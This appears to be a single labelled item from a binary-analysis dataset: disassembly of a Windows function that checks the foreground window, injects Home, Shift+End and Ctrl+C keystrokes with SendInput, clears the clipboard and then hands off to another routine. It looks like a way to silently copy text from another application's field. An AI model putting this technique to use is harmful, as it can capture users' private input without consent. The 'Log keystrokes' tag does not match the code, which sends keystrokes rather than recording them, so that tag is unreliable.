Function at 0x403870
Capabilities:
Log keystrokes
Open clipboard
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x445af4], 0
je 0x403b31
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetForegroundWindow]
push esi
call ebx
mov esi, eax
push esi
call fcn.004011d0
test eax, eax
jne 0x403b2f
push esi
call fcn.00401110
test eax, eax
jne 0x4038b5
push esi
call fcn.00401290
test eax, eax
je 0x403b2f
push edi
push str.ReturnPressed
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call ebx
mov esi, eax
push esi
call fcn.004011d0
mov edi, dword [sym.imp.USER32.dll_SendInput]
test eax, eax
jne 0x403930
push esi
call fcn.00401110
test eax, eax
jne 0x4038e9
push esi
call fcn.00401290
test eax, eax
je 0x403930
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 1
mov dword [ebp - 0x18], 0x24
mov esi, 0x24
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
call edi
push 0x1c
lea eax, [ebp - 0x1c]
mov word [ebp - 0x18], si
push eax
push 1
mov dword [ebp - 0x14], 2
call edi
call ebx
mov esi, eax
push esi
call fcn.004011d0
test eax, eax
jne 0x4039fe
push esi
call fcn.00401110
test eax, eax
jne 0x40395a
push esi
call fcn.00401290
test eax, eax
je 0x4039fe
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x18], ax
push eax
push 0xa1
movlpd qword [ebp - 0x10], xmm0
movlpd qword [ebp - 8], xmm0
mov dword [ebp - 0x1c], 1
call esi
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push 1
mov dword [ebp - 0x14], 8
call edi
mov eax, 0x23
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push 1
mov dword [ebp - 0x14], 1
call edi
mov eax, 0x23
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push 1
mov dword [ebp - 0x14], 3
call edi
push 0
push 0xa1
mov dword [ebp - 0x1c], 1
call esi
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push 1
mov dword [ebp - 0x14], 0xa
call edi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
call ebx
mov esi, eax
push esi
call fcn.004011d0
test eax, eax
jne 0x403aae
push esi
call fcn.00401110
test eax, eax
jne 0x403a38
push esi
call fcn.00401290
test eax, eax
je 0x403aae
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 1
mov dword [ebp - 0x18], 0x11
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
call edi
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0
push eax
mov esi, 0x43
push 1
mov word [ebp - 0x18], si
call edi
push 0x1c
lea eax, [ebp - 0x1c]
mov word [ebp - 0x18], si
push eax
push 1
mov dword [ebp - 0x14], 2
call edi
mov eax, 0x11
mov dword [ebp - 0x14], 2
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push 1
call edi
call ebx
mov esi, eax
push esi
call fcn.004011d0
test eax, eax
jne 0x403b17
push esi
call fcn.00401110
test eax, eax
jne 0x403ad0
push esi
call fcn.00401290
test eax, eax
je 0x403b17
push 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 1
mov dword [ebp - 0x18], 0x23
mov ebx, 0x23
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
call edi
push 0x1c
lea eax, [ebp - 0x1c]
mov word [ebp - 0x18], bx
push eax
push 1
mov dword [ebp - 0x14], 2
call edi
push 0x23
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403b40
mov ecx, 0x447328
call fcn.00414a00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret